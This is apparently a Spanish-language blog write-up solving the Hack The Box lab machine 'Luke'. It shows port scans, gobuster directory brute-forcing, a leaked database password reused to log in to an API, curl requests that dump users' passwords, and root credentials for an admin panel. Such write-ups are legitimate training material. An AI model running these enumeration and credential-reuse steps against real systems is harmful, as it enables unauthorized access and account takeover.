Roskyfrosky


Luke - Hack The Box

14 Sep 2019 » hackthebox

[ Resumen ]

Hoy os traigo el writeup de como resolver la máquina Luke de Hackthebox. Como podéis ver la dificultad de la máquina es Media aunque yo la habría clasificado como fácil ya que consiste en distintos pasos de enumeración sobre distintos servicios y en el uso de los datos que obtienes trás esa enumeración

[ 00 – Recon]

En primer lugar, como siempre, realizamos un escaneo de puertos rápido con masscan para saber que servicios, tanto udp como tcp, hay abiertos en la máquina.

root@kali:~/HTB/Luke#masscan -p1-65535,U:1-65535  10.10.10.137 --rate=1000 -e tun0

Starting masscan 1.0.6 (http://bit.ly/14GZzcT) at 2019-08-27 08:20:08 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 3000/tcp on 10.10.10.137
Discovered open port 21/tcp on 10.10.10.137
Discovered open port 80/tcp on 10.10.10.137
Discovered open port 8000/tcp on 10.10.10.137
Discovered open port 22/tcp on 10.10.10.137

Una vez que tenemos los puertos que hay abiertos, realizamos un escaneo con nmap sobre esos puertos para saber que servicio y las versiones de los mismos.

root@kali:~/HTB/Luke#nmap -sV -sC -oA Luke luke.htb -p21,22,80,3000,8000

Starting Nmap 7.40 ( https://nmap.org ) at 2019-08-27 09:57 CEST
Nmap scan report for luke.htb (10.10.10.137)
Host is up (0.081s latency).
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open  http    Ajenti http control panel
|_http-title: Ajenti

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.53 seconds

En el resultado de Nmap, vemos que está permitido el acceso como anonymous al ftp.

Entramos y vemos un fichero con nombre “for_Chihiro.txt” cuyo contenido es el siguiente:

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !

Derry

Tras leer la nota del ftp, llegamos a la conclusion de que tenemos que encontrar un backup de la web en alguno de los otros puertos que hemos visto que estan abiertos. Para ello, lanzamos el gobuster con distintas extensiones sobre el puerto 80.

root@kali:~/HTB/Luke#gobuster  -u http://luke.htb -w  /usr/share/wordlist/DirBuster-Lists/directory-list-2.3-medium.txt -x php,html,txt,zip,rar,bak -t 100

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://luke.htb/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlist/DirBuster-Lists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : txt,zip,rar,bak,php,html
[+] Timeout      : 10s
=====================================================
2019/08/27 10:05:15 Starting gobuster
=====================================================
/index.html (Status: 200)
/login.php (Status: 200)
/member (Status: 301)
/css (Status: 301)
/js (Status: 301)
/vendor (Status: 301)
/config.php (Status: 200)
/LICENSE (Status: 200)

Accediendo a los distintos ficheros que hemos obtenido con el gobuster, encontramos que al visitar el fichero config.php obtenemos el codigo fuente del fichero:

$dbHost = 'localhost'; $dbUsername = 'root'; $dbPassword = 'Zk6heYCyv6ZE9Xcg'; $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error); 

Ahora accemos el mismo proceso pero lanzando el gobuster para el servicio que se encuentra en el puerto 3000

root@kali:~/HTB/Luke#gobuster  -u http://luke.htb:3000 -w  /usr/share/wordlist/DirBuster-Lists/directory-list-2.3-medium.txt -x php,html,txt,zip,rar,bak -t 100

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://luke.htb:3000/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlist/DirBuster-Lists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php,html,txt,zip,rar,bak
[+] Timeout      : 10s
=====================================================
2019/08/27 10:07:38 Starting gobuster
=====================================================
/login (Status: 200)
/users (Status: 200)
/Login (Status: 200)
/Users (Status: 200)

En el puerto 8000 vemos que hay un login directamente nada más acceder a través del navegador.

[ 01 – Getting Access]

Probando las credenciales que hemos obtenido del fichero config.php, vemos que son válidas para la API que se encuentra en el puerto 3000.

root@kali:~/HTB/Luke#curl -H "Content-Type: application/json" -X POST http://luke.htb:3000/login -d "{\"username\": \"admin\", \"password\": \"Zk6heYCyv6ZE9Xcg\"}"


Respuesta:

{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5MzkwNTgxLCJleHAiOjE1NTk0NzY5ODF9.eSCG6iP3DMorQ9RpQ799-wJ1_9n00ikV3ISEryhsi_g"}

Ahora que hemos podido acceder, vamos a listar los usuarios

root@kali:~/HTB/Luke#curl  -H "Accept: application/json" -X GET http://luke.htb:3000/users -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5MzkwNTgxLCJleHAiOjE1NTk0NzY5ODF9.eSCG6iP3DMorQ9RpQ799-wJ1_9n00ikV3ISEryhsi_g"

Respuesta:
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]

[ 02 – Priv. Esc.]

Hemos podido obtener distintos usuarios, entre ellos el usuario Admin con rol de superusuario. Lo que haremos a continuación, será obtener toda la información de cada usuario. Para ello realizamos una petición por cada usuario en la cuál obtendremos su contraseña


root@kali:~/HTB/Luke#curl  -H "Accept: application/json" -X GET  http://luke.htb:3000/users/admin -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5MzkwNTgxLCJleHAiOjE1NTk0NzY5ODF9.eSCG6iP3DMorQ9RpQ799-wJ1_9n00ikV3ISEryhsi_g"


Respuesta:

{"name":"Admin","password":"WX5b7)>/rp$U)FW"}


Haciendo lo mismo para el resto de usuarios, obtenemos también sus contraseñas


{name":"Derry","password":"rZ86wwLvx7jUxtch"}
{"name":"Yuri","password":"bet@tester87"}
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}

Ahora que tenemos varios usuarios, vamos a probarlos en las distintas páginas de login que tenemos identificadas, para ver si alguno de ellos es válido. Vemos que el usuario Derry funciona en el Basic Authentication que existe en el puerto 80, cuando intentamos acceder a la carpeta management. Al entrar, vemos que hay distintos ficheros config, con distintas extensiones. El fichero config.php es el mismo que habíamos obtenido anteriormente, pero ahora hay un fichero config.json en el que obtenemos una nueva credencial para el usuario root.

Accedemos al purto 8000 tal y como indica el fichero de configuración e introducimos las credenciales root:KpMasng6S5EtTy9Z

Una vez dentro del dashboard principal, para ganar tanto la flag de user como la de root, solo hay que ir al filemanager y buscar ambos ficheros.

Related Posts